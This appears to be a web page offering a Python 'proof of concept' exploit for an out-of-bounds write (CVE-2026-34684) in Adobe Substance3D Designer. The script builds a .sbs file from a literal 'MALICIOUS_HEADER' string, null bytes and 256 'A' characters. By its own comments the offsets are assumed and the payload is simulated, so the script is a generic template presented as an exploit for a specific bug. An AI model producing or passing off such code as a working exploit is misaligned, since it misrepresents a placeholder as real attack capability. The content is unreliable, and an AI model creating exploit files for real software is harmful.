CVE-2026-34684 Adobe Substance3D Designer越界写入漏洞

# Proof of Concept for CVE-2026-34684 # This script generates a malicious file to trigger the out-of-bounds write. # Note: Adjust offsets and payload based on actual reverse engineering. import struct def create_exploit_file(filename): # Constructing a malicious header or data block # Assuming a vulnerable structure at offset 0x50 header = b"MALICIOUS_HEADER" + b"\x00" * 10 # Payload (simulated) # Overwriting adjacent memory with specific pattern payload = b"A" * 0x100 # Buffer overflow trigger with open(filename, 'wb') as f: f.write(header) f.write(payload) print(f"[+] Exploit file generated: {filename}") if __name__ == "__main__": create_exploit_file("cve_2026_34684_exploit.sbs")